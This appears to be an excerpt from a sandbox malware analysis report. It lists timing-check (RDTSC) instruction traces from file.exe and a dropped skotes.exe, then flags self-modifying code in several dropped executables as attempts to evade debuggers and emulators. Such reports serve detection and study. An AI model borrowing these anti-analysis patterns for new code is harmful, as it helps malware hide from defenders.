Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10B1C second address: 4B10B87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F06147E6006h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 call 00007F06147E5FFEh 0x00000015 movzx ecx, dx 0x00000018 pop edx 0x00000019 mov eax, 48C89C33h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F06147E6006h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F06147E6007h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B905F5 second address: 4B905FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B905FB second address: 4B9061D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6004h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 push esi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9061D second address: 4B90631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B809A9 second address: 4B809AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B809AF second address: 4B80A0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F061450AC39h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F061450AC2Eh 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F061450AC37h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B807E1 second address: 4B807E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B807E5 second address: 4B807EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B807EB second address: 4B80852 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6004h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F06147E5FFBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F06147E6006h 0x00000015 mov ebp, esp 0x00000017 jmp 00007F06147E6000h 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F06147E6007h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201C8 second address: 4B201F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F061450AC2Dh 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201F1 second address: 4B201F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201F7 second address: 4B201FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B201FB second address: 4B2021D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop ebx 0x0000000c mov dl, al 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F06147E6000h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2021D second address: 4B20242 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC30h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20242 second address: 4B20251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20251 second address: 4B20257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20257 second address: 4B2025B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2025B second address: 4B2025F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80CF2 second address: 4B80CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80CF6 second address: 4B80CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B305FD second address: 4B3066A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F06147E5FFCh 0x00000010 pushfd 0x00000011 jmp 00007F06147E6002h 0x00000016 adc al, 00000058h 0x00000019 jmp 00007F06147E5FFBh 0x0000001e popfd 0x0000001f pop ecx 0x00000020 mov al, bh 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007F06147E6000h 0x0000002a push FFFFFFFEh 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov ebx, 0A219AD0h 0x00000034 mov si, dx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3066A second address: 4B30670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30670 second address: 4B306F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 5065A51Dh 0x00000010 pushad 0x00000011 jmp 00007F06147E6007h 0x00000016 popad 0x00000017 add dword ptr [esp], 26941AFBh 0x0000001e jmp 00007F06147E6002h 0x00000023 push 2B22A6CBh 0x00000028 pushad 0x00000029 mov cx, di 0x0000002c mov dh, 89h 0x0000002e popad 0x0000002f xor dword ptr [esp], 5DD208CBh 0x00000036 jmp 00007F06147E6002h 0x0000003b mov eax, dword ptr fs:[00000000h] 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F06147E5FFAh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B306F2 second address: 4B306F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B306F8 second address: 4B30742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F06147E5FFAh 0x0000000b or ah, 00000068h 0x0000000e jmp 00007F06147E5FFBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 nop 0x00000018 jmp 00007F06147E6006h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F06147E5FFEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30742 second address: 4B307B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F061450AC36h 0x0000000f sub esp, 1Ch 0x00000012 jmp 00007F061450AC30h 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 mov si, CB5Dh 0x0000001d push ecx 0x0000001e push ebx 0x0000001f pop eax 0x00000020 pop edi 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F061450AC2Bh 0x00000028 xchg eax, ebx 0x00000029 jmp 00007F061450AC36h 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B307B0 second address: 4B307CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B307CD second address: 4B30864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F061450AC37h 0x00000009 and eax, 0EAD743Eh 0x0000000f jmp 00007F061450AC39h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F061450AC2Dh 0x00000020 xchg eax, esi 0x00000021 jmp 00007F061450AC2Eh 0x00000026 xchg eax, edi 0x00000027 pushad 0x00000028 mov dx, cx 0x0000002b pushfd 0x0000002c jmp 00007F061450AC2Ah 0x00000031 or ecx, 0B9A8398h 0x00000037 jmp 00007F061450AC2Bh 0x0000003c popfd 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F061450AC34h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30864 second address: 4B30876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30876 second address: 4B3087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3087A second address: 4B308BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a mov edi, 7DCAD140h 0x0000000f movsx edi, cx 0x00000012 popad 0x00000013 mov eax, dword ptr [76FBB370h] 0x00000018 jmp 00007F06147E6000h 0x0000001d xor dword ptr [ebp-08h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F06147E6007h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B308BE second address: 4B308C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B308C4 second address: 4B308C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B308C8 second address: 4B308CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B308CC second address: 4B308FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a jmp 00007F06147E5FFCh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F06147E6007h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B308FC second address: 4B30902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30902 second address: 4B30906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30906 second address: 4B30925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, ebx 0x0000000e call 00007F061450AC2Fh 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30925 second address: 4B3092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3092B second address: 4B3092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3092F second address: 4B309E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a call 00007F06147E5FFAh 0x0000000f jmp 00007F06147E6002h 0x00000014 pop eax 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 pushad 0x0000001a mov ebx, 2C37214Eh 0x0000001f call 00007F06147E5FFFh 0x00000024 jmp 00007F06147E6008h 0x00000029 pop ecx 0x0000002a popad 0x0000002b mov dword ptr fs:[00000000h], eax 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F06147E6007h 0x00000038 sbb ch, 0000000Eh 0x0000003b jmp 00007F06147E6009h 0x00000040 popfd 0x00000041 mov cx, 1D17h 0x00000045 popad 0x00000046 mov esi, dword ptr [ebp+08h] 0x00000049 pushad 0x0000004a mov bl, al 0x0000004c mov esi, ebx 0x0000004e popad 0x0000004f mov eax, dword ptr [esi+10h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F06147E5FFAh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B309E2 second address: 4B30AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov esi, 59F8960Bh 0x00000011 pushfd 0x00000012 jmp 00007F061450AC30h 0x00000017 adc ax, E018h 0x0000001c jmp 00007F061450AC2Bh 0x00000021 popfd 0x00000022 popad 0x00000023 jne 00007F0686899F2Eh 0x00000029 pushad 0x0000002a mov edx, eax 0x0000002c jmp 00007F061450AC30h 0x00000031 popad 0x00000032 sub eax, eax 0x00000034 pushad 0x00000035 call 00007F061450AC37h 0x0000003a pushfd 0x0000003b jmp 00007F061450AC38h 0x00000040 add ax, B408h 0x00000045 jmp 00007F061450AC2Bh 0x0000004a popfd 0x0000004b pop ecx 0x0000004c mov di, BA4Ch 0x00000050 popad 0x00000051 mov dword ptr [ebp-20h], eax 0x00000054 jmp 00007F061450AC2Bh 0x00000059 mov ebx, dword ptr [esi] 0x0000005b pushad 0x0000005c mov cx, B58Bh 0x00000060 pushad 0x00000061 pushad 0x00000062 popad 0x00000063 mov cx, 4B03h 0x00000067 popad 0x00000068 popad 0x00000069 mov dword ptr [ebp-24h], ebx 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f pushad 0x00000070 popad 0x00000071 call 00007F061450AC31h 0x00000076 pop ecx 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30AB9 second address: 4B30ACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30ACA second address: 4B30B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ebx, ebx 0x0000000a jmp 00007F061450AC2Dh 0x0000000f je 00007F0686899DC2h 0x00000015 pushad 0x00000016 call 00007F061450AC2Ch 0x0000001b mov ax, 3BB1h 0x0000001f pop ecx 0x00000020 mov cx, bx 0x00000023 popad 0x00000024 cmp ebx, FFFFFFFFh 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F061450AC34h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30188 second address: 4B30197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30197 second address: 4B301AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC34h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 7F1D9 second address: 7F1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1EA738 second address: 1EA749 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F061450AC26h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1EA749 second address: 1EA757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1EA757 second address: 1EA75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF1EF second address: 1FF237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F06147E5FFDh 0x0000000d popad 0x0000000e jng 00007F06147E6002h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F06147E5FF6h 0x0000001d jmp 00007F06147E6000h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF237 second address: 1FF23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF23B second address: 1FF25E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6006h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF25E second address: 1FF283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F061450AC28h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF40B second address: 1FF41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F06147E5FF6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF41D second address: 1FF443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jg 00007F061450AC4Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F061450AC38h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF443 second address: 1FF447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF583 second address: 1FF58E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F061450AC26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1FF86B second address: 1FF875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F06147E5FF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 202520 second address: 202524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 202992 second address: 20299C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F06147E5FFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 20299C second address: 2029D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F061450AC2Ah 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F061450AC30h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jmp 00007F061450AC32h 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 214303 second address: 214309 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 214309 second address: 21430F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 21430F second address: 214313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 224078 second address: 22407F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 1F62E1 second address: 1F62EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F06147E5FF6h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1EEA31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1EEA71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 399C99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 423560 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7EA31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7EA71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 229C99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2B3560 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Special instruction interceptor: First address: 15D4B28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Special instruction interceptor: First address: 177E681 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Special instruction interceptor: First address: 15D256E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: B8CA2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: D24E60 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: D24B1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: D3A621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: DADBDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Special instruction interceptor: First address: 51E030 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Special instruction interceptor: First address: 51C827 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Special instruction interceptor: First address: 546C4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Special instruction interceptor: First address: 5B2B54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Special instruction interceptor: First address: 4FDC53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Special instruction interceptor: First address: 6AFBF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Special instruction interceptor: First address: 744D22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Special instruction interceptor: First address: 5018DC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: 62EDC53 instructions caused by: Self-modifying code
